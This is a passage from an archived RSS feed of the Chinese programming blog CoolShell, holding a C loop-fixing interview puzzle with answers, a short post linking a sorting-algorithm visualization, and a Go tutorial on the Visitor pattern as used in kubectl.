href=\"https://coolshell.cn/articles/3980.html\">程序员那些悲催的事儿</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3980.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>125</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>“火柴棍式”程序员面试题</title>\n\t\t<link>https://coolshell.cn/articles/3961.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3961.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 21 Mar 2011 00:28:31 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[趣味问题]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Puzzle]]></category>\n\t\t<category><![CDATA[面试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3961</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>有时候，有些面试题是很是无厘头，这不，又有一个，还记得小时候玩的的“火柴棍游戏”吗，就是移动一根火柴棍改变一个图或字的游戏。程序面试居然也可以这么玩，看看下面这...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3961.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3961.html\">“火柴棍式”程序员面试题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>有时候，有些面试题是很是无厘头，这不，又有一个，还记得小时候玩的的“火柴棍游戏”吗，就是移动一根火柴棍改变一个图或字的游戏。程序面试居然也可以这么玩，看看下面这个火柴棍式的程序面试题吧。</p>\n<p>下面是一个C程序，其想要输出20个减号，不过，粗心的程序员把代码写错了，你需要把下面的代码修改正确，不过，<strong>你只能增加或是修改其中的一个字符</strong>，请你给出三种答案。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">int n = 20;\n\nfor(int i = 0; i &lt; n; i--){\n    printf(&quot;-&quot;);\n}</pre>\n<p>不要以为这题不是很难，我相信你并不那么容易能找到3种方法。我觉得，如果你能在10分钟内找出这三种方法，说明你真的很聪明，而且反应很快。当然，15分钟内也不赖。不过，你要是30分钟内找不到三种方法，当然，不说明你笨了，最多就是你的反应还不够快。嘿嘿。就当是玩玩吧。</p>\n<p>下面是我的答案：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n//第一种解法：在for循环中给n加一个负号\nfor(int i = 0; i &lt; -n; i--)\n\n//第二种解法：把 n 初始化成 -20\nint n = -20;\n\n//第三种解法：把for循环中的 i 初始化成40\nfor(int i = 40; i &lt; n; i--)\n</pre>\n<p>不过，我要告诉你，<span style=\"color: #cc0000;\">以上这些答案都不对（我就知道你会偷看答案的）</span>，不过，顺着这些思路走很接近了。呵呵。</p>\n<p>下面是正确答案——</p>\n<p><span id=\"more-3961\"></span></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n//第一种解法：在for循环中给 i 加一个负号\nfor(int i = 0; -i &lt; n; i--)\n\n//第二种解法：在for循环中把 i-- 变成 n--\nfor(int i = 0; i &lt; n; n--)\n\n//第三种解法：把for循环中的 &lt; 变成 +\nfor(int i = 0; i + n; i--)\n</pre>\n<p>其它相关的变种题如下：</p>\n<ul>\n<li>通过修改、增加一个字符，让其输出21个减号</li>\n<li>通过修改、增加一个字符，让其只输出1个减号</li>\n<li>通过修改、增加一个字符，让其不输出减号</li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" alt=\"一个fork的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7965.html\" class=\"wp_rp_title\">一个fork的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/4162.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"又一个有趣的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4162.html\" class=\"wp_rp_title\">又一个有趣的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"打印质数的各种算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3738.html\" class=\"wp_rp_title\">打印质数的各种算法</a></li><li ><a href=\"https://coolshell.cn/articles/3445.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"输出从1到1000的数\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3445.html\" class=\"wp_rp_title\">输出从1到1000的数</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/10478.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"C++面试中string类的一种正确写法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10478.html\" class=\"wp_rp_title\">C++面试中string类的一种正确写法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3961.html\">“火柴棍式”程序员面试题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3961.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>2728</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>可视化的排序过程</title>\n\t\t<link>https://coolshell.cn/articles/3933.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3933.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 18 Mar 2011 00:42:56 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[排序]]></category>\n\t\t<category><![CDATA[算法]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3933</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是一个日本程序员制做的一个可视化的排序过程，包括了各种经典的排序算法，你可以调整速度和需要排序的个数。酷壳以前也介绍过几篇相关的文章 一个排序算法比较的网站...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3933.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3933.html\">可视化的排序过程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面是一个日本程序员制做的一个<a href=\"http://jsdo.it/norahiko/oxIy/fullscreen\" target=_blank>可视化的排序过程</a>，包括了各种经典的排序算法，你可以调整速度和需要排序的个数。酷壳以前也介绍过几篇相关的文章 <a title=\"一个排序算法比较的网站\" rel=\"bookmark\" href=\"https://coolshell.cn/articles/399.html\" target=\"_blank\">一个排序算法比较的网站</a>，<a title=\"一个显示排序过程的Python脚本\" rel=\"bookmark\" href=\"https://coolshell.cn/articles/536.html\" target=\"_blank\">一个显示排序过程的Python脚本</a> 关于各种排序算法的运行复杂度比较，请参看<a href=\"http://en.wikipedia.org/wiki/Sorting_algorithm#Comparison_of_algorithms\" target=\"_blank\">Wikipedia的排序算法比较</a>。</p>\n<p align=center><iframe loading=\"lazy\" src=\"http://jsrun.it/norahiko/oxIy\" width=\"630\" height=\"320\" frameborder=\"0\"><br />\n</iframe></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2583.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些重要的算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2583.html\" class=\"wp_rp_title\">一些重要的算法</a></li><li ><a href=\"https://coolshell.cn/articles/536.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/bubble-150x150.png\" alt=\"一个显示排序过程的Python脚本\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/536.html\" class=\"wp_rp_title\">一个显示排序过程的Python脚本</a></li><li ><a href=\"https://coolshell.cn/articles/399.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/04/sort-150x150.jpg\" alt=\"一个排序算法比较的网站\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/399.html\" class=\"wp_rp_title\">一个排序算法比较的网站</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg\" alt=\"一些有意思的算法代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6010.html\" class=\"wp_rp_title\">一些有意思的算法代码</a></li><li ><a href=\"https://coolshell.cn/articles/4671.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg\" alt=\"可视化的数据结构和算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4671.html\" class=\"wp_rp_title\">可视化的数据结构和算法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3933.html\">可视化的排序过程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3933.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>54</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-2.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 2 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=2\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Wed, 10 Aug 2022 08:01:42 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>Go 编程模式：k8s Visitor 模式</title>\n\t\t<link>https://coolshell.cn/articles/21263.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/21263.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 26 Dec 2020 11:25:46 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Go 语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[design pattern]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[golang]]></category>\n\t\t<category><![CDATA[Kubernetes]]></category>\n\t\t<category><![CDATA[Visitor Pattern]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=21263</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>本篇文章主要想讨论一下，Kubernetes 的 kubectl 命令中的使用到到的一个编程模式 &#8211; Visitor（注：其实，kubectl 主要...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/21263.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/21263.html\">Go 编程模式：k8s Visitor 模式</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-21270\" src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-265x300.png\" alt=\"\" width=\"265\" height=\"300\" srcset=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-265x300.png 265w, https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-906x1024.png 906w, https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-768x868.png 768w, https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-239x270.png 239w, https://coolshell.cn/wp-content/uploads/2020/12/go.k8s.png 1333w\" sizes=\"(max-width: 265px) 100vw, 265px\" />本篇文章主要想讨论一下，Kubernetes 的 <code>kubectl</code> 命令中的使用到到的一个编程模式 &#8211; Visitor（注：其实，<code>kubectl</code> 主要使用到了两个一个是Builder，另一个是Visitor）。本来，Visitor 是面向对象设计模英中一个很重要的设计模款（参看Wikipedia<a href=\"https://en.wikipedia.org/wiki/Visitor_pattern\" target=\"_blank\" rel=\"noopener\"> Visitor Pattern词条</a>），这个模式是一种将算法与操作对象的结构分离的一种方法。这种分离的实际结果是能够在不修改结构的情况下向现有对象结构添加新操作，是遵循开放/封闭原则的一种方法。这篇文章我们重点看一下 <code>kubelet</code> 中是怎么使用函数式的方法来实现这个模式的。</p>\n<section class=\"post-series\"><h3 class=\"post-series-title\">本文是全系列中第9 / 10篇：<a href=\"https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f\">Go编程模式</a></h3><ul class=\"post-series-list\"><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21128.html\">Go编程模式：切片，接口，时间和性能</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21140.html\">Go 编程模式：错误处理</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21146.html\">Go 编程模式：Functional Options</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21214.html\">Go编程模式：委托和反转控制</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21164.html\">Go编程模式：Map-Reduce</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21179.html\">Go 编程模式：Go Generation</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/17929.html\">Go编程模式：修饰器</a></span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21228.html\">Go编程模式：Pipeline</a></span></li><li class=\"post-series-item-current post-series-item\"><span class=\"post-series-item-title\">Go 编程模式：k8s Visitor 模式</span></li><li class=\"post-series-item\"><span class=\"post-series-item-title\"><a href=\"https://coolshell.cn/articles/21615.html\">Go编程模式 ： 泛型编程</a></span></li></ul><nav class=\"post-series-nav\"><span class=\"post-series-nav-prev\">&laquo; <a href=\"https://coolshell.cn/articles/21228.html\" rel=\"prev\" title=\"Go编程模式：Pipeline\">上一篇文章</a></span><span class=\"post-series-nav-next\"><a href=\"https://coolshell.cn/articles/21615.html\" rel=\"next\" title=\"Go编程模式 ： 泛型编程\">下一篇文章</a> &raquo;</span></nav></section>\n<h4>一个简单示例</h4>\n<p>我们还是先来看一个简单设计模式的Visitor的示例。</p>\n<ul>\n<li>我们的代码中有一个<code>Visitor</code>的函数定义，还有一个<code>Shape</code>接口，其需要使用 <code>Visitor</code>函数做为参数。</li>\n<li>我们的实例的对象 <code>Circle</code>和 <code>Rectangle</code>实现了 <code>Shape</code> 的接口的 <code>accept()</code> 方法，这个方法就是等外面给我传递一个Visitor。</li>\n</ul>\n<p><span id=\"more-21263\"></span></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">package main\n\nimport (\n    \"encoding/json\"\n    \"encoding/xml\"\n    \"fmt\"\n)\n\ntype Visitor func(shape Shape)\n\ntype Shape interface {\n    accept(Visitor)\n}\n\ntype Circle struct {\n    Radius int\n}\n\nfunc (c Circle) accept(v Visitor) {\n    v(c)\n}\n\ntype Rectangle struct {\n    Width, Heigh int\n}\n\nfunc (r Rectangle) accept(v Visitor) {\n    v(r)\n}\n</pre>\n<p>然后，我们实现两个Visitor，一个是用来做JSON序列化的，另一个是用来做XML序列化的</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func JsonVisitor(shape Shape) {\n    bytes, err := json.Marshal(shape)\n    if err != nil {\n        panic(err)\n    }\n    fmt.Println(string(bytes))\n}\n\nfunc XmlVisitor(shape Shape) {\n    bytes, err := xml.Marshal(shape)\n    if err != nil {\n        panic(err)\n    }\n    fmt.Println(string(bytes))\n}\n</pre>\n<p>下面是我们的使用Visitor这个模式的代码</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func main() {\n  c := Circle{10}\n  r :=  Rectangle{100, 200}\n  shapes := []Shape{c, r}\n\n  for _, s := range shapes {\n    s.accept(JsonVisitor)\n    s.accept(XmlVisitor)\n  }\n\n}</pre>\n<p>其实，这段代码的目的就是想解耦 数据结构和 算法，使用 Strategy 模式也是可以完成的，而且会比较干净。<strong>但是在有些情况下，多个Visitor是来访问一个数据结构的不同部分，这种情况下，数据结构有点像一个数据库，而各个Visitor会成为一个个小应用。</strong> <code>kubectl</code>就是这种情况。</p>\n<h4>k8s相关背景</h4>\n<p>接下来，我们再来了解一下相关的知识背景：</p>\n<ul>\n<li>对于Kubernetes，其抽象了很多种的Resource，比如：Pod, ReplicaSet, ConfigMap, Volumes, Namespace, Roles &#8230;. 种类非常繁多，这些东西构成为了Kubernetes的数据模型（点击 <a href=\"https://github.com/kubernauts/practical-kubernetes-problems/blob/master/images/k8s-resources-map.png\" target=\"_blank\" rel=\"noopener\">Kubernetes Resources 地图</a> 查看其有多复杂）</li>\n<li><code>kubectl</code> 是Kubernetes中的一个客户端命令，操作人员用这个命令来操作Kubernetes。<code>kubectl</code> 会联系到 Kubernetes 的API Server，API Server会联系每个节点上的 <code>kubelet</code> ，从而达到控制每个结点。</li>\n<li><code>kubectl</code> 主要的工作是处理用户提交的东西（包括，命令行参数，yaml文件等），然后其会把用户提交的这些东西组织成一个数据结构体，然后把其发送给 API Server。</li>\n<li>相关的源代码在 <code>src/k8s.io/cli-runtime/pkg/resource/visitor.go</code> 中（<a href=\"https://github.com/kubernetes/kubernetes/blob/cea1d4e20b4a7886d8ff65f34c6d4f95efcb4742/staging/src/k8s.io/cli-runtime/pkg/resource/visitor.go\" target=\"_blank\" rel=\"noopener\">源码链接</a>）</li>\n</ul>\n<p><code>kubectl</code> 的代码比较复杂，不过，其本原理简单来说，<strong>它从命令行和yaml文件中获取信息，通过Builder模式并把其转成一系列的资源，最后用 Visitor 模式模式来迭代处理这些Reources</strong>。</p>\n<p>下面我们来看看 <code>kubectl</code> 的实现，为了简化，我用一个小的示例来表明 ，而不是直接分析复杂的源码。</p>\n<h4>kubectl的实现方法</h4>\n<h5>Visitor模式定义</h5>\n<p>首先，<code>kubectl</code> 主要是用来处理 <code>Info</code>结构体，下面是相关的定义：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type VisitorFunc func(*Info, error) error\n\ntype Visitor interface {\n    Visit(VisitorFunc) error\n}\n\ntype Info struct {\n    Namespace   string\n    Name        string\n    OtherThings string\n}\nfunc (info *Info) Visit(fn VisitorFunc) error {\n  return fn(info, nil)\n}</pre>\n<p>我们可以看到，</p>\n<ul>\n<li>有一个 <code>VisitorFunc</code> 的函数类型的定义</li>\n<li>一个 <code>Visitor</code> 的接口，其中需要 <code>Visit(VisitorFunc) error</code>  的方法（这就像是我们上面那个例子的 <code>Shape</code> ）</li>\n<li>最后，为<code>Info</code> 实现 <code>Visitor</code> 接口中的 <code>Visit()</code> 方法，实现就是直接调用传进来的方法（与前面的例子相仿）</li>\n</ul>\n<p>我们再来定义几种不同类型的 Visitor。</p>\n<h5>Name Visitor</h5>\n<p>这个Visitor 主要是用来访问 <code>Info</code> 结构中的 <code>Name</code> 和 <code>NameSpace</code> 成员</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type NameVisitor struct {\n  visitor Visitor\n}\n\nfunc (v NameVisitor) Visit(fn VisitorFunc) error {\n  return v.visitor.Visit(func(info *Info, err error) error {\n    fmt.Println(\"NameVisitor() before call function\")\n    err = fn(info, err)\n    if err == nil {\n      fmt.Printf(\"==&gt; Name=%s, NameSpace=%s\\n\", info.Name, info.Namespace)\n    }\n    fmt.Println(\"NameVisitor() after call function\")\n    return err\n  })\n}</pre>\n<p>我们可以看到，上面的代码：</p>\n<ul>\n<li>声明了一个 <code>NameVisitor</code> 的结构体，这个结构体里有一个 <code>Visitor</code> 接口成员，这里意味着多态。</li>\n<li>在实现 <code>Visit()</code> 方法时，其调用了自己结构体内的那个 <code>Visitor</code>的 <code>Visitor()</code> 方法，这其实是一种修饰器的模式，用另一个Visitor修饰了自己（关于修饰器模式，参看《<a title=\"Go编程模式：修饰器\" href=\"https://coolshell.cn/articles/17929.html\" target=\"_blank\" rel=\"noopener\">Go编程模式：修饰器</a>》）</li>\n</ul>\n<h5>Other Visitor</h5>\n<p>这个Visitor主要用来访问 <code>Info</code> 结构中的 <code>OtherThings</code> 成员</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type OtherThingsVisitor struct {\n  visitor Visitor\n}\n\nfunc (v OtherThingsVisitor) Visit(fn VisitorFunc) error {\n  return v.visitor.Visit(func(info *Info, err error) error {\n    fmt.Println(\"OtherThingsVisitor() before call function\")\n    err = fn(info, err)\n    if err == nil {\n      fmt.Printf(\"==&gt; OtherThings=%s\\n\", info.OtherThings)\n    }\n    fmt.Println(\"OtherThingsVisitor() after call function\")\n    return err\n  })\n}</pre>\n<p>实现逻辑同上，我就不再重新讲了</p>\n<h5>Log Visitor</h5>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type LogVisitor struct {\n  visitor Visitor\n}\n\nfunc (v LogVisitor) Visit(fn VisitorFunc) error {\n  return v.visitor.Visit(func(info *Info, err error) error {\n    fmt.Println(\"LogVisitor() before call function\")\n    err = fn(info, err)\n    fmt.Println(\"LogVisitor() after call function\")\n    return err\n  })\n}</pre>\n<h5>使用方代码</h5>\n<p>现在我们看看如果使用上面的代码：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">func main() {\n  info := Info{}\n  var v Visitor = &amp;info\n  v = LogVisitor{v}\n  v = NameVisitor{v}\n  v = OtherThingsVisitor{v}\n\n  loadFile := func(info *Info, err error) error {\n    info.Name = \"Hao Chen\"\n    info.Namespace = \"MegaEase\"\n    info.OtherThings = \"We are running as remote team.\"\n    return nil\n  }\n  v.Visit(loadFile)\n}</pre>\n<p>上面的代码，我们可以看到</p>\n<ul>\n<li>Visitor们一层套一层</li>\n<li>我用 <code>loadFile</code> 假装从文件中读如数据</li>\n<li>最后一条 <code>v.Visit(loadfile)</code> 我们上面的代码就全部开始激活工作了。</li>\n</ul>\n<p>上面的代码输出如下的信息，你可以看到代码的执行顺序是怎么执行起来了</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">LogVisitor() before call function\nNameVisitor() before call function\nOtherThingsVisitor() before call function\n==&gt; OtherThings=We are running as remote team.\nOtherThingsVisitor() after call function\n==&gt; Name=Hao Chen, NameSpace=MegaEase\nNameVisitor() after call function\nLogVisitor() after call function</pre>\n<p>我们可以看到，上面的代码有以下几种功效：</p>\n<ul>\n<li>解耦了数据和程序。</li>\n<li>使用了修饰器模式</li>\n<li>还做出来pipeline的模式</li>\n</ul>\n<p>所以，其实，我们是可以把上面的代码重构一下的。</p>\n<h5>Visitor修饰器</h5>\n<p>下面，我们用<a title=\"Go编程模式：修饰器\" href=\"https://coolshell.cn/articles/17929.html\" target=\"_blank\" rel=\"noopener\">修饰器模式</a>来重构一下上面的代码。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">type DecoratedVisitor struct {\n  visitor    Visitor\n  decorators []VisitorFunc\n}\n\nfunc NewDecoratedVisitor(v Visitor, fn ...VisitorFunc) Visitor {\n  if len(fn) == 0 {\n    return v\n  }\n  return DecoratedVisitor{v, fn}\n}\n\n// Visit implements Visitor\nfunc (v DecoratedVisitor) Visit(fn VisitorFunc) error {\n  return v.visitor.Visit(func(info *Info, err error) error {\n    if err != nil {\n      return err\n    }\n    if err := fn(info, nil); err != nil {\n      return err\n    }\n    for i := range v.decorators {\n      if err := v.decorators[i](info, nil); err != nil {\n        return err\n      }\n    }\n    return nil\n  })\n}</pre>\n<p>上面的代码并不复杂，</p>\n<ul>\n<li>用一个 <code>DecoratedVisitor</code> 的结构来存放所有的<code>VistorFunc</code>函数</li>\n<li><code>NewDecoratedVisitor</code> 可以把所有的 <code>VisitorFunc</code>转给它，构造 <code>DecoratedVisitor</code> 对象。</li>\n<li><code>DecoratedVisitor</code>实现了 <code>Visit()</code> 方法，里面就是来做一个for-loop，顺着调用所有的 <code>VisitorFunc</code></li>\n</ul>\n<p>于是，我们的代码就可以这样运作了：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\">info := Info{}\nvar v Visitor = &amp;info\nv = NewDecoratedVisitor(v, NameVisitor, OtherVisitor)\n\nv.Visit(LoadFile)</pre>\n<p>是不是比之前的那个简单？注意，这个<code>DecoratedVisitor</code> 同样可以成为一个Visitor来使用。</p>\n<p>好，上面的这些代码全部存在于 